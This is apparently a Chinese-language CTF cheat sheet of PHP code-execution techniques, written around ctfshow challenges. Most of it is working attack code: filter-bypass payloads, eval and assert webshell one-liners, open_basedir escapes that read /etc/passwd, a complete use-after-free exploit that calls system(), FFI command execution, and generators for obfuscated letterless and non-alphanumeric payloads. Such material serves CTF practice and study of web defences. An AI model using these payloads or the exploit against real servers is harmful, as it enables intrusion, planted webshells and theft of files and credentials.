- 代码执行
- 读取目录
- bypass
- 输出内容
- 读取文件
- exit截断
- 参数逃逸
- open_basedir限制(安全目录)
- 实例化任意对象(ctfshow109-110)
- 无字母RCE
- 一键读取/readflag脚本
- create_function()
- php原生类( new a(b) )
- 无数字字母RCE
- 无参数RCE
代码执行
有回显
system()
passthru()
popen().read()
proc_open()
无回显
可以用echo 输出
exec() // 回显最后一行 必须echo输出,可以让它输出到一个数组里面
pcntl_exec()
`` //可以直接执行系统命令
shell_exec() // 必须输出
读取目录
glob
print_r(glob("*"));
glob(“*”) 匹配任意文件
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);?>
用glob协议读取根目录下所有文件
scandir()
scandir(dirname(__FILE__)) //读取当前目录
bypass
关键字过滤(变量拼接)
<?php
$a = "s#y#s#t#e#m";
$b = explode("#",$a);
$c = $b[0].$b[1].$b[2].$b[3].$b[4].$b[5];
$c($_REQUEST[1]);
?>
<?php
$a=substr('1s',1).'ystem';
$a($_REQUEST[1]);
?>
<?php
$a=strrev('metsys');
$a($_REQUEST[1]);
?>
<?php
$a=$_REQUEST['a'];
$b=$_REQUEST['b'];
$a($b);
?>
.
点被过滤
chr(46) -> .
chr(rand()) -> char函数以256为一个周期取余,拿到46的概率为1/256
chr(time()) -> 1/256概率,每256秒成功一次,重放数据包(不推荐)
chr(current(localtime(time()))) -> 1/60概率,每60秒成功一次,重放(不推荐)
phpversion()
仅限php7
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))
current(localeconv()) (推荐使用这种方法)
;被过滤
?>闭合代码
include(不用括号)或者require也一样
数字被过滤 可以改成字符串 不用加单引号也可以
include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg==
<!-- | include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?> -->
[]
中括号被过滤
可以用{}
来代替
可以操作数组array_pop($_POST)
()
括号被过滤
日志包含
<?=include '/var/l'.'og/nginx/access.lo'.'g'?>
用不需要括号的函数
echo
require
<?=require~%d0%99%93%9e%98%d1%8b%87%8b?> //echo require "/flag.txt"
include
@
代码不报错
echo@123;
~
取反
echo~123;
^
异或
echo^123;
函数被污染
和数字拼接
$v1=1;
$v3=$_GET['v3'];
$v2=1;
$code = eval("return $v1$v3$v2");
echo $code;
// 绕过
// + - * / | 三目运算符(return 1 ? phpinfo() : 1) 还有(return 1==phpinfo()||1)
// $v3 可以取反 或运算 异或来绕过相关过滤
用 \
绕过
if(isset($_POST['ctf'])){
$ctfshow = $_POST['ctf'];
if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
$ctfshow('',$_GET['show']);
}
}
// ctf为create_function会被匹配成功,开头和结尾要求用到非数字字母符号
// 用ctf=\create_function 可以绕过
加 \
可以调用指定命名空间下的函数, 如果只是单独的一个 \ 就是调用根命名空间下的函数
在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法
namespace A\B;
function func () {
return 'hello world!';
}
namespace C;
A\B\func(); // hello world!
输出内容
函数
echo
print
print_r
die
var_dump
var_export
非php文件
include
require
copy('flag.php','flag.txt')
rename('flag.php','flag.txt')
读取变量
var_dump(get_defined_vars()) //读取所有变量
var_dump(getenv()) //获取一个环境变量的值
echo $GLOBALS; //返回全局作用域中可用的全部变量
读取类(反射)
$a=class kradress{
public var flag;
}
var_dump($a);
//object(kradress)#1 (1) { ["flag"]=> int(1) }
echo "<br>";
echo(new Reflectionclass('kradress'));
//Class [ class kradress ] { @@ D:\phpstudy_pro\WWW\cmd.php 4-6 - Constants [0] { } - Static properties [0] { } - Static methods [0] { } - Properties [1] { Property [ public $flag ] } - Methods [0] { } }
读取文件
var_dump(file_get_contents())
show_source()
highlight_file()
readfile()
exit截断
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
知识点:
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲
关于缓存区的,可以参考大佬博客
exit();
die();
参数逃逸
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
?c=eval($_GET[1]);&1=system('nl flag.php');
??c=extract($_GET);&a=flag[一般情况下只能输出内容,没什么用];
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=cat%20flag.php
<!-- $$pi{abs}($$pi{acos}) #相当于 $_GET['abs']($_GET['acos'])
-->
补充 关于extract的图
open_basedir限制(安全目录)
利用软连接,symlink()函数
<?php
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html','foo');
echo file_get_contents('bar/etc/passwd');
?>
利用ini_set()读取文件内容
chdir('..')
的数量视情况而定,增减其数量直到进入根目录为止
<?php
mkdir('tmpdir');
chdir('tmpdir');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
$a=file_get_contents('/etc/passwd');
var_dump($a);
?>
实例化任意对象(ctfshow109-110)
UAF脚本
c=function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function strlen_user($s){
$ret = 0;
for ($i=0; $i<1000000; $i++){
if($s[$i]){
$ret=$ret+1;
}else{
break;
}
}
return $ret;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();
//需要通过url编码哦
//如果strlen被过滤 用strlen_user替换
用mysql load_file读取文件
一般用不到
try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);
FFI命令执行
php7.4 以上
$ffi = FFI::cdef("int system(const char *command);");// 创建一个system对象
$a='/readflag > 1.txt'; // 没有回显的
$ffi->system($a); // 通过$ffi去调用system函数
无字母RCE
用 & 和 | 运算 |
system(end(getallheaders()));
(((((((2).(0)){0}){0})|(((0/0).(0)){1}))).(((1).(2)){0}|((1/0).(0)){0}).((((((2).(0)){0}){0})|(((0/0).(0)){1}))).((((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((1/0).(0)){1}))|((((4).(0)){0}))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))((((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))).(((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))))(((((((999**999).(1)){2})|(((-2).(1)){0})&(((1).(0)){0}))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).((((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))))&(((1/0).(0)){1}))|((((4).(0)){0}))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).(((((1/0).(0)){0}|(((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((1/0).(0)){1}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0})))))&(((1).(2)){1}|((1/0).(0)){0})).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).((((1).(2)){0}|((1/0).(0)){0})&((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))).(((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2}))))&(((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((((-1).(0)){0})|(((0/0).(0)){1}))&((((1).(0)){0})|(((999**999).(1)){2})))).(((((((2).(0)){0}){0})|(((0/0).(0)){1})))&(((2).(1)){0}|((((999**999).(1)){2})|((((4).(0)){0})&(((-1).(0)){0}))))).((((((2).(0)){0}){0})|(((0/0).(0)){1}))))()));
一键读取/readflag脚本
//readflag一键计算脚本
<?php
$d = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("file", "/tmp/error.log", "a")
);
$cwd = "/";
$env = array();
$process = proc_open("/readflag", $d, $pipes, $cwd, $env);
if (is_resource($process))
{
$d = fread($pipes[1], 1024);
$d = fread($pipes[1], 1024);
$d = explode("\n", $d);
eval("\$result = $d[0];");
eval("\$result = $d[0];");
fwrite($pipes[0] , "$result\n");
var_dump(fread($pipes[1],1024));
var_dump(fread($pipes[1],1024));
var_dump(fread($pipes[1],1024));
fclose($pipes[0]);
fclose($pipes[1]);
$r = proc_close($process);
echo "result $r\n";
}
?>
php -c 1 -r "eval(base64_decode('JGQgPSBhcnJheSgKICAgIDAgPT4gYXJyYXkoInBpcGUiLCAiciIpLAogICAgMSA9PiBhcnJheSgicGlwZSIsICJ3IiksCiAgICAyID0+IGFycmF5KCJmaWxlIiwgIi90bXAvZXJyb3IubG9nIiwgImEiKQopOwoKJGN3ZCA9ICIvIjsKJGVudiA9IGFycmF5KCk7CgokcHJvY2VzcyA9IHByb2Nfb3BlbigiL3JlYWRmbGFnIiwgJGQsICRwaXBlcywgJGN3ZCwgJGVudik7CmlmIChpc19yZXNvdXJjZSgkcHJvY2VzcykpCnsKICAgICRkID0gZnJlYWQoJHBpcGVzWzFdLCAxMDI0KTsKICAgICRkID0gZnJlYWQoJHBpcGVzWzFdLCAxMDI0KTsKICAgICRkID0gZXhwbG9kZSgiXG4iLCAkZCk7CiAgICBldmFsKCJcJHJlc3VsdCA9ICRkWzBdOyIpOwogICAgZXZhbCgiXCRyZXN1bHQgPSAkZFswXTsiKTsKICAgIGZ3cml0ZSgkcGlwZXNbMF0gLCAiJHJlc3VsdFxuIik7CiAgICB2YXJfZHVtcChmcmVhZCgkcGlwZXNbMV0sMTAyNCkpOwogICAgdmFyX2R1bXAoZnJlYWQoJHBpcGVzWzFdLDEwMjQpKTsKICAgIHZhcl9kdW1wKGZyZWFkKCRwaXBlc1sxXSwxMDI0KSk7CiAgICBmY2xvc2UoJHBpcGVzWzBdKTsKICAgIGZjbG9zZSgkcGlwZXNbMV0pOwogICAgJHIgPSBwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKICAgIGVjaG8gInJlc3VsdCAkclxuIjsKfQ=='));"
或者echo "xx"|base64 -d|php执行
create_function()
create_function("$a, $b","return $a+$b;");
=>
function($a,$b){
return $a+$b;
}
//案例
$code('', $arg);
//演示
$code = “return($a+$b);}eval($_POST[‘kradress’]);//”
$f=create_function('$a, $b', $code);
相当于得到:
function f($a, $b){return $a+$b; } eval($_POST['kradress']);//}
php原生类( new a(b) )
DirectoryIterator(遍历目录文件)
foreach遍历
<?php
//遍历目录下的所有文件
$dir = new DirectoryIterator(dirname(__FILE__));
//1、foreach直接循环
foreach ($dir as $file){
if($file->isFile()){
echo $file->getFilename()."<br />";
}
}
while循环遍历
<?php
//遍历目录下的所有文件
$dir = new DirectoryIterator(dirname(__FILE__));
//2、while循环
while($dir->valid()){
if($dir->current()->isFile()){
echo $dir->current()->getFilename()."<br />";
}
$dir->next();
}
glob协议
//模糊匹配
echo new DirectoryIterator('glob://flag[a-z0-9]*.php');
SplFileObject(读取文件)
echo new SplFileObject('flag.php');
无数字字母RCE
临时文件上传
php文件上传时会先将上传的文件保存到upload_tmp_dir该配置目录下,这里为/tmp,而上传页面只负责把该文件拷贝到目标目录。也就是说不管该php页面有没有文件上传功能,我们只要上传了文件,该文件就会被上传到upload_tmp_dir配置的目录(/tmp)下,上传完后会被删除。
PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母
ctfshow web56
. 相当于source 可以执行文件
` ` 可以执行命令
[@-[] 可以表示任意大写字母 在ASCII码中 @ < A , [ > Z ,
<!-- 文件上传数据包 -->
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>upload-POC</title>
</head>
<body>
<form action="http://8f29caac-a8e9-42fa-b6f6-b6fe3afd8659.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
上传的文件在网站目录下
</form>
</body>
</html>
这个图是里面是命令执行system($c)
的,代码执行eval($c)
的话可以用短标签
c=?><?=`.%09/???/????????[@-[]`;
// ;被过滤的话用?>闭合
无参数RCE
最推荐
GET:eval(array_pop(next(get_defined_vars())));
GET:eval(implode(next(get_defined_vars()))); //implode()把post中的数组转化为字符串
POST:1=[shell]
操作数组
pos() 或current() 第一个元素
end() – 将内部指针指向数组中的最后一个元素,并输出
implode() - 将数组转化为字符串
next() – 将内部指针指向数组中的下一个元素,并输出
prev() – 将内部指针指向数组中的上一个元素,并输出
reset() – 将内部指针指向数组中的第一个元素,并输出
each() – 返回当前元素的键名和键值,并将内部指针向前移动
array_reverse() - 将数组倒过来
array_flip() - 把数值的键值交换
array_rand() - 从数值中随机取一个键出来
get_defined_vars() - 返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
array_pop() - 是删除并返回数组最后一个元素
getenv() - 获取一个环境变量的值
array_reverse()
仅限于flag.php在数组的倒数第二个位置这种情况下
?exp=print_r(next(array_reverse(scandir(pos(localeconv())))));
array_rand(array_flip())
flag.php位置在哪都可以,但是他不是100%成功的,需要重放,概率问题
?exp=print_r(array_rand(array_flip(scandir(pos(localeconv())))));
get_defined_vars() // 最推荐的
get_defined_vars():返回由所有已定义变量所组成的数组,会返回
$_GET
,$_POST
,$_COOKIE
,$_FILES
全局变量的值,返回数组顺序get->post->cookie->files
取get的最后一个参数:
end(pos(get_defined_vars()))
取post的最后一个参数:
end(next(get_defined_vars()))
getallheaders()
print_r((array_reverse(getallheaders())));
print_r(end(array_reverse(getallheaders())));
在headers尾部添加任意 xxx: [shell]
system(end(getallheaders()));
用bp在host上方写入shell
session命令执行
受php版本影响 5.5 -7.1.9均可以执行,因为session_id规定为0-9,a-z,A-Z,-中的字符。在5.5以下及7.1以上均无法写入除此之外的内容。但是符合要求的字符还是可以的
参考博客 ctfshow 40
可以base64编码 但PHPSESSID不能有+号和空格
?c=session_start();eval(base64_decode(session_id()));
?c=session_start();system(session_id());
?c=show_source(session_id(session_start()));
php5
参考p神博客 https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
异或
<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
_(___[_]); // assert($_POST[_]);
取反
利用UTF-8编码的某个汉字,并将其中某个字符取出来,比如’和’{2}的结果是”\x8c”,其取反即为字母s:
<?php
$__=('>'>'<')+('>'>'<'); // ture+ture=2
$_=$__/$__; //ture/ture=1
$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
$_=$$_____;
$____($_[$__]);
递增运算
也就是说,’a’++ => ‘b’,’b’++ => ‘c’… 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。
<?php
$_=[];
$_=@"$*"; // $*='Array';
$_=$*['!'=='@']; // $*=$_[0];
$___=$_; // A
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$**++;$**++;$__++; // E
$___.=$__;
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++; // P
$____.=$__;
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++; // S
$____.=$__;
$__=$_;
$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++;$**++;$**++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
php7
取反
(不取反的话会被url解码)
<?php
$a = "system";
echo "~(";
for ($i = 0; $i < strlen($a); $i++) {
echo "%".bin2hex(~$a[$i]);
}
echo ")";
<?php
$a = "system";
$b = "tac flag.php";
echo "(~".urlencode(~$a).")(~".urlencode(~$b).");";
异或
<?php
$a = "phpinfo";
for ($i = 0; $i < strlen($a); $i++) {
echo "%".dechex(ord($a[$i])^0xff);
}
echo "^";
for ($i = 0; $i < strlen($a); $i++) {
echo "%ff";
}
递增
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2022-03-19 14:35:44
# @Last Modified by: h1xa
# @Last Modified time: 2022-03-19 16:41:46
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
$precode=<<<code
\$_=('@'^'!');
\$__=\$_++;
\$___=++\$__;
\$____=++\$___;
\$_____=++\$____;
\$______=++\$_____;
\$_______=++\$______;
\$________=++\$_______;
\$_________=++\$________;
\$__________=++\$_________;
\$___________=++\$__________;
\$____________=++\$___________;
\$_____________=++\$____________;
\$______________=++\$_____________;
\$_______________=++\$______________;
\$________________=++\$_______________;
\$_________________=++\$________________;
\$__________________=++\$_________________;
\$___________________=++\$__________________;
\$____________________=++\$___________________;
\$_____________________=++\$____________________;
\$______________________=++\$_____________________;
\$_______________________=++\$______________________;
\$________________________=++\$_______________________;
\$_________________________=++\$________________________;
\$__________________________=++\$_________________________;
\$_=('@'^'!');
code;
eval($precode);
// 使用异或生成任意无字母数字代码
function createCode($code){
global $precode;
$ret = "";
for ($i=0; $i < strlen($code); $i++) {
$c = $code[$i];
if(ord($c)<97 || ord($c)>122){
$ret .= "$c";
}else{
$ret .= '$'.str_repeat('_', ord($c)-96);
}
}
return urlencode("$precode(\"".substr($ret,0,stripos($ret, "("))."\")".substr($ret, stripos($ret,"(")));
}
echo createCode('system("tac flag.php");');
$_=('@'^'!');
$__=$_++;
$___=++$__;
$____=++$___;
$_____=++$____;
$______=++$_____;
$_______=++$______;
$________=++$_______;
$_________=++$________;
$__________=++$_________;
$___________=++$__________;
$____________=++$___________;
$_____________=++$____________;
$______________=++$_____________;
$_______________=++$______________;
$________________=++$_______________;
$_________________=++$________________;
$__________________=++$_________________;
$___________________=++$__________________;
$____________________=++$___________________;
$_____________________=++$____________________;
$______________________=++$_____________________;
$_______________________=++$______________________;
$________________________=++$_______________________;
$_________________________=++$________________________;
$__________________________=++$_________________________;
$_=('@'^'!');
("$___________________$_________________________$___________________$____________________$_____$_____________")("$____________________$_$___ $______$____________$_$_______.$________________$________$________________");
//("system")("tac flag.php");
注意点
eval不能被动态调用,php7里不能动态构造assert
eval和echo等,不是函数,而是语言构造器